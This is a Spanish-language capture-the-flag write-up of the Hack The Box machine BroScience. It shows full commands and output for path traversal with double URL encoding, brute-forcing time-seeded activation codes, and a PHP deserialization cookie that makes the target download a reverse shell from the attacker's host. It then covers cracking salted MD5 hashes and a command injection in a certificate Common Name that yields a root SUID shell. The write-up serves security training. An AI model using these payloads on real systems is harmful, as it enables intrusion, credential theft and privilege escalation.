Descripción
BroScience es una máquina media de Hack The Box que cuenta con las siguientes vulnerabilidades:
- Vulnerabilidad de cruce de rutas en una aplicación web PHP que lleva a la lectura del código fuente
- Ataque de deserialización en PHP que lleva a la subida de archivos y ejecución de comandos remotos
- Pivote de usuario utilizando credenciales reutilizadas descifradas de una base de datos Postgres
- Escalada de privilegios mediante inyección de comandos en un script Bash ejecutado por el usuario
root
Reconocimiento
Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina objetivo es 10.10.11.195.
$ ping -c 3 10.10.11.195
PING 10.10.11.195 (10.10.11.195) 56(84) bytes of data.
64 bytes from 10.10.11.195: icmp_seq=1 ttl=63 time=43.9 ms
64 bytes from 10.10.11.195: icmp_seq=2 ttl=63 time=45.2 ms
64 bytes from 10.10.11.195: icmp_seq=3 ttl=63 time=43.6 ms
--- 10.10.11.195 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 43.640/44.276/45.242/0.694 ms
La máquina está activa y con el TTL que iguala 63 (64 menos 1 salto), podemos asegurar que es una máquina Unix. Ahora vamos a hacer un escaneo de puertos TCP SYN con Nmap para comprobar todos los puertos abiertos.
$ sudo nmap 10.10.11.195 -sS -oN nmap_scan
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.195
Host is up (0.045s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp open https
Nmap done: 1 IP address (1 host up) scanned in 0.94 seconds
Obtenemos tres puertos abiertos: 22, 80, y 443.
Enumeración
Luego realizamos un escaneo más avanzado, con versión del servicio y scripts.
$ nmap 10.10.11.195 -sV -sC -p22,80,443 -oN nmap_scan_ports
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.195
Host is up (0.045s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 df:17:c6:ba:b1:82:22:d9:1d:b5:eb:ff:5d:3d:2c:b7 (RSA)
| 256 3f:8a:56:f8:95:8f:ae:af:e3:ae:7e:b8:80:f6:79:d2 (ECDSA)
|_ 256 3c:65:75:27:4a:e2:ef:93:91:37:4c:fd:d9:d4:63:41 (ED25519)
80/tcp open http Apache httpd 2.4.54
|_http-server-header: Apache/2.4.54 (Debian)
|_http-title: Did not follow redirect to https://broscience.htb/
443/tcp open ssl/http Apache httpd 2.4.54 ((Debian))
|_http-title: BroScience : Home
| ssl-cert: Subject: commonName=broscience.htb/organizationName=BroScience/countryName=AT
| Not valid before: 2022-07-14T19:48:36
|_Not valid after: 2023-07-14T19:48:36
| tls-alpn:
|_ http/1.1
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.54 (Debian)
|_ssl-date: TLS randomness does not represent time
Service Info: Host: broscience.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.75 seconds
Obtenemos tres servicios: uno Secure Shell (SSH), y uno Hypertext Transfer Protocol (HTTP). Como no tenemos credenciales viables para el servicio SSH, vamos a movernos al servicio HTTP. Añadimos el dominio broscience.htb al archivo /etc/hosts.
$ echo '10.10.11.195 broscience.htb' | sudo tee -a /etc/hosts
El servicio HTTP redirige al servicio HTTPS. Encontramos lo que parece un blog sobre entrenamientos en gimnasio. Podemos crear una cuenta para luego iniciar sesión. Pero después de crear la cuenta encontramos el Account created. Please check your email for the activation link. por lo que no podemos iniciar sesión.
Al leer el código fuente HTML de la página, encontramos la URL includes/img.php?path=barbell_squats.jpeg para cargar las imágenes. Está cargando el archivo directamente, por lo que la aplicación podría estar vulnerable a la vulnerabilidad de Traversal de Ruta. Vamos a comprobar el archivo /etc/passwd.
$ curl -k 'https://broscience.htb/includes/img.php?path=../../etc/passwd'
<b>Error:</b> Attack detected.
Parece que hay un tipo de filtrado y el ataque está bloqueado.
Explotación
Vamos a realizar una codificación URL doble de los caracteres. El ataque es exitoso y obtenemos los usuarios root, bill y postgres.
$ curl -sk 'https://broscience.htb/includes/img.php?path=..%252f..%252f..%252f..%252fetc%252fpasswd' | grep sh
root:x:0:0:root:/root:/bin/bash
sshd:x:108:65534::/run/sshd:/usr/sbin/nologin
bill:x:1000:1000:bill,,,:/home/bill:/bin/bash
postgres:x:117:125:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
Encontramos que el directorio https://broscience.htb/includes/ tiene el listado de directorios habilitado.
$ curl -sk 'https://broscience.htb/includes/'
...
<a href="db_connect.php">db_connect.php</a>
<a href="header.php">header.php</a>
<a href="img.php">img.php</a>
<a href="navbar.php">navbar.php</a>
<a href="utils.php">utils.php</a><
Inferimos que el directorio raíz del servidor web es /var/www/html, y recuperamos el archivo db_connect.php.
$ curl -sk 'https://broscience.htb/includes/img.php?path=..%252f..%252f..%252f..%252fvar%252fwww%252fhtml%252fincludes%252fdb_connect.php'
<?php
$db_host = "localhost";
$db_port = "5432";
$db_name = "broscience";
$db_user = "dbuser";
$db_pass = "RangeOfMotion%777";
$db_salt = "NaCl";
$db_conn = pg_connect("host={$db_host} port={$db_port} dbname={$db_name} user={$db_user} password={$db_pass}");
if (!$db_conn) {
die("<b>Error</b>: Unable to connect to database");
}
?>
Encontramos las credenciales de la base de datos postgres broscience, con el nombre de usuario dbuser y la contraseña RangeOfMotion%777. Nos movemos al archivo utils.php y encontramos una función interesante, generate_activation_code.
function generate_activation_code() {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
srand(time());
$activation_code = "";
for ($i = 0; $i < 32; $i++) {
$activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
}
return $activation_code;
}
La función generate_activation_code() genera un código de activación aleatorio que consta de 32 caracteres. Este código está compuesto por letras mayúsculas y minúsculas, así como dígitos. El proceso utiliza una cadena de caracteres válidos y selecciona aleatoriamente cada carácter para formar el código final. El código de activación parece ser predecible ya que se utiliza como semilla el tiempo de Unix en el momento de generar el valor. Podemos obtener el tiempo de marca desde la respuesta HTTP. Vamos a crear 10 códigos después de la marca de tiempo y 10 códigos antes de la marca de tiempo para luego fuerza bruta los códigos hasta que encontramos uno válido. Este será el código que generará los códigos:
<?php
function generate_activation_code($timestamp) {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
srand($timestamp);
$activation_code = "";
for ($i = 0; $i < 32; $i++) {
$activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
}
return $activation_code;
}
$timestamp = 16...;
for ($i = $timestamp - 10; $i <= $timestamp + 10; $i++) {
$code = generate_activation_code($i);
system('echo ' . $code . ' >> codes.txt');
}
?>
Los códigos se generan en el codes.txt. Ahora necesitamos buscar allí para ingresar los códigos. Enumeramos para las páginas .php en el sitio web.
$ gobuster dir -u 'https://broscience.htb' -w /usr/share/seclists/Discovery/Web-Content/common.txt -x php -k
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: https://broscience.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8
[+] Extensions: php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.hta (Status: 403) [Size: 280]
/.hta.php (Status: 403) [Size: 280]
/.htaccess (Status: 403) [Size: 280]
/.htaccess.php (Status: 403) [Size: 280]
/.htpasswd (Status: 403) [Size: 280]
/.htpasswd.php (Status: 403) [Size: 280]
/activate.php (Status: 200) [Size: 1256]
Encontramos el archivo activate.php, lo leemos.
$ curl -sk 'https://broscience.htb/includes/img.php?path=..%252f..%252f..%252f..%252fvar%252fwww%252fhtml%252factivate.php'
...
<?php
session_start();
// Check if user is logged in already
if (isset($_SESSION['id'])) {
header('Location: /index.php');
}
if (isset($_GET['code'])) {
// Check if code is formatted correctly (regex)
if (preg_match('/^[A-z0-9]{32}$/', $_GET['code'])) {
...
Encontramos que está utilizando el parámetro code, por lo que lo fuerzamos con los códigos generados.
$ for code in $(cat codes.txt); do curl -sk "https://broscience.htb/activate.php?code=$code" 2>&1 > /dev/null; done
Después del ataque, somos capaces de iniciar sesión con la cuenta anteriormente registrada.
Al lado del texto Logged in as ... encontramos un botón para cambiar el tema de la página web que llama al endpoint https://broscience.htb/swap_theme.php. En este caso comienza el modo noche. Enumeramos el contenido del archivo.
$ curl -sk 'https://broscience.htb/includes/img.php?path=..%252f..%252f..%252f..%252fvar%252fwww%252fhtml%252fswap_theme.php'
<?php
session_start();
// Check if user is logged in already
if (!isset($_SESSION['id'])) {
header('Location: /index.php');
}
// Swap the theme
include_once "includes/utils.php";
if (strcmp(get_theme(), "light") === 0) {
set_theme("dark");
} else {
set_theme("light");
}
// Redirect
if (!empty($_SERVER['HTTP_REFERER'])) {
header("Location: {$_SERVER['HTTP_REFERER']}");
} else {
header("Location: /index.php");
}
Encontramos que está utilizando las funciones get_theme y set_theme del archivo utils.php.
function get_theme() {
if (isset($_SESSION['id'])) {
if (!isset($_COOKIE['user-prefs'])) {
$up_cookie = base64_encode(serialize(new UserPrefs()));
setcookie('user-prefs', $up_cookie);
} else {
$up_cookie = $_COOKIE['user-prefs'];
}
$up = unserialize(base64_decode($up_cookie));
return $up->theme;
} else {
return "light";
}
}
function set_theme($val) {
if (isset($_SESSION['id'])) {
setcookie('user-prefs',base64_encode(serialize(new UserPrefs($val))));
}
}
Encontramos que está estableciendo una cookie en el lado del usuario llamada user-prefs con el valor codificado en Base64 de la clase serializada UserPrefs. Como ejemplo, decodificamos nuestra cookie.
$ echo 'Tzo5OiJVc2VyUHJlZnMiOjE6e3M6NToidGhlbWUiO3M6NDoiZGFyayI7fQ%3D%3D' | python -c "import sys; from urllib.parse import unquote; print(unquote(sys.stdin.read()));" | base64 -d
O:9:"UserPrefs":1:{s:5:"theme";s:4:"dark";}
Obtenemos el valor O:9:"UserPrefs":1:{s:5:"theme";s:4:"dark";}. Al examinar más detenidamente el código fuente de las clases Avatar y AvatarInterface encontramos que está copiando un archivo desde un directorio temporal al definitivo.
class Avatar {
public $imgPath;
public function __construct($imgPath) {
$this->imgPath = $imgPath;
}
public function save($tmp) {
$f = fopen($this->imgPath, "w");
fwrite($f, file_get_contents($tmp));
fclose($f);
}
}
class AvatarInterface {
public $tmp;
public $imgPath;
public function __wakeup() {
$a = new Avatar($this->imgPath);
$a->save($this->tmp);
}
}
Podemos crear un archivo PHP malicioso, crear un servidor HTTP y luego con un ataque de deserialización de PHP, hacer que el archivo se descargue y luego se inicie una terminal inversa. El código PHP que creará el código serializado será las clases anteriores Avatar y AvatarInterface más el siguiente código:
<?php
...
$avatar = new AvatarInterface();
$avatar->tmp = 'http://10.10.14.16/shell.php';
$avatar->imgPath = './shell.php';
$cookie = base64_encode(serialize($avatar));
echo $cookie
?>
Generamos el código shell.php, generamos la carga útil maliciosa y luego iniciamos el puerto TCP de escucha y el servidor HTTP.
$ cp /usr/share/webshells/php/php-reverse-shell.php shell.php
$ nano shell.php
$ php serialize.php
TzoxNToiQXZhdGFySW50ZXJmYWNlIjoyOntzOjM6InRtcCI7czoyODoiaHR0cDovLzEwLjEwLjE0LjE2L3NoZWxsLnBocCI7czo3OiJpbWdQYXRoIjtzOjExOiIuL3NoZWxsLnBocCI7fQ==
$ nc -nvlp 1234
$ python -m http.server 80
Cambiamos el valor de la cookie user-prefs y luego refrescamos la página. Encontramos que el archivo se descarga y obtenemos una terminal como el usuario www-data.
$ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.195 - - "GET /shell.php HTTP/1.0" 200 -
$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.16] from (UNKNOWN) [10.10.11.195] 42946
Linux broscience 5.10.0-20-amd64 #1 SMP Debian 5.10.158-2 (2022-12-13) x86_64 GNU/Linux
19:13:53 up 1:18, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
Post-Explotación
Vamos a enumerar la base de datos PostgreSQL que observamos anteriormente. Encontramos las columnas username y password de la tabla users.
www-data@broscience:/$ psql -h 127.0.0.1 -U dbuser broscience
Password for user dbuser:
psql (13.9 (Debian 13.9-0+deb11u1))
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)
Type "help" for help.
broscience=> \dt
List of relations
Schema | Name | Type | Owner
--------+-----------+-------+----------
public | comments | table | postgres
public | exercises | table | postgres
public | users | table | postgres
(3 rows)
broscience=> select * from users;
broscience=> select username,password from users;
username | password
---------------+----------------------------------
administrator | 15657792073e8a843d4f91fc403454e1
bill | 13edad4932da9dbb57d9cd15b66ed104
michael | bd3dad50e2d578ecba87d5fa15ca5f85
john | a7eed23a7be6fe0d765197b1027453fe
dmytro | 5d15340bded5b9395d5d14b9c21bc82b
(5 rows)
Como la contraseña obtenemos lo que parece hashes MD5. En la base de datos enumeramos la variable db_salt que es NaCl, por lo que necesitamos tener en cuenta esta sal. Rompemos con la herramienta Hashcat con el formato <hash>:<salt>.
$ hashcat hashes -m 20 /usr/share/wordlists/rockyou.txt
...
13edad4932da9dbb57d9cd15b66ed104:NaCl:iluvhorsesandgym
5d15340bded5b9395d5d14b9c21bc82b:NaCl:Aaronthehottest
bd3dad50e2d578ecba87d5fa15ca5f85:NaCl:2applesplus2apples
...
Obtenemos la contraseña para el usuario bill, iluvhorsesandgym, para el usuario dmytro, Aaronthehottest y para el usuario michael, 2applesplus2apples. Antes, enumeramos que el usuario bill existe, por lo que iniciamos sesión usando SSH.
$ ssh bill@broscience.htb
...
bill@broscience:~$ id
uid=1000(bill) gid=1000(bill) groups=1000(bill)
Comprobamos los procesos en ejecución.
bill@broscience:~$ mktemp -d
/tmp/tmp.Mbvhn0og1s
bill@broscience:~$ cd /tmp/tmp.Mbvhn0og1s/
bill@broscience:/tmp/tmp.Mbvhn0og1s$ wget http://10.10.14.16/pspy64
bill@broscience:/tmp/tmp.Mbvhn0og1s$ chmod +x pspy64
bill@broscience:/tmp/tmp.Mbvhn0og1s$ ./pspy64
...
CMD: UID=0 PID=1 | /sbin/init
CMD: UID=0 PID=2848 | /usr/sbin/anacron -d -q -s
CMD: UID=0 PID=2849 |
CMD: UID=0 PID=2850 | /usr/sbin/CRON -f
CMD: UID=0 PID=2851 | /usr/sbin/CRON -f
CMD: UID=0 PID=2852 |
CMD: UID=0 PID=2853 | /bin/bash /root/cron.sh
CMD: UID=0 PID=2854 | /bin/bash -c /opt/renew_cert.sh /home/bill/Certs/broscience.crt
CMD: UID=0 PID=2855 | /bin/bash /root/cron.sh
CMD: UID=0 PID=2856 | /bin/bash /root/cron.sh
Encontramos un script Bash ejecutado como usuario root, /opt/renew_cert.sh.
bill@broscience:/tmp/tmp.Mbvhn0og1s$ cat /opt/renew_cert.sh
#!/bin/bash
if [ "$#" -ne 1 ] || [ $1 == "-h" ] || [ $1 == "--help" ] || [ $1 == "help" ]; then
echo "Usage: $0 certificate.crt";
exit 0;
fi
if [ -f $1 ]; then
openssl x509 -in $1 -noout -checkend 86400 > /dev/null
if [ $? -eq 0 ]; then
echo "No need to renew yet.";
exit 1;
fi
subject=$(openssl x509 -in $1 -noout -subject | cut -d "=" -f2-)
...
/bin/bash -c "mv /tmp/temp.crt /home/bill/Certs/$commonName.crt"
else
echo "File doesn't exist"
exit 1;
El script verifica la validez de un certificado existente y, si está a punto de expirar, genera un nuevo certificado auto-firmado con la misma información y lo guarda en una ubicación específica. Como controlamos con el argumento qué certificado vamos a renovar /home/bill/Certs/broscience.crt, podemos hacer inyección de comandos, por ejemplo en el campo Common Name, commonName=$(echo ${commonName:5} | awk -F, '{print $1}'). Inyectaremos un comando para crear un binario Bash SUID.
bill@broscience:/tmp/tmp.Mbvhn0og1s$ openssl req -nodes -x509 -newkey rsa:2048 -out /home/bill/Certs/broscience.crt -days 1
Generating a RSA private key
......................................................+++++
....................................+++++
writing new private key to 'privkey.pem'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:$(cp /bin/bash /tmp/suid-bash; chmod u+s /tmp/suid-bash)
Email Address []:
Después de unos segundos el comando se ejecutará y podremos ejecutar una terminal root.
bill@broscience:/tmp/tmp.Mbvhn0og1s$ /tmp/suid-bash -p
suid-bash-5.1# id
uid=1000(bill) gid=1000(bill) euid=0(root) groups=1000(bill)
Flags
En la terminal root podemos recuperar los archivos user.txt y root.txt.
suid-bash-5.1# cat /home/bill/user.txt
<REDACTED>
suid-bash-5.1# cat /root/root.txt
<REDACTED>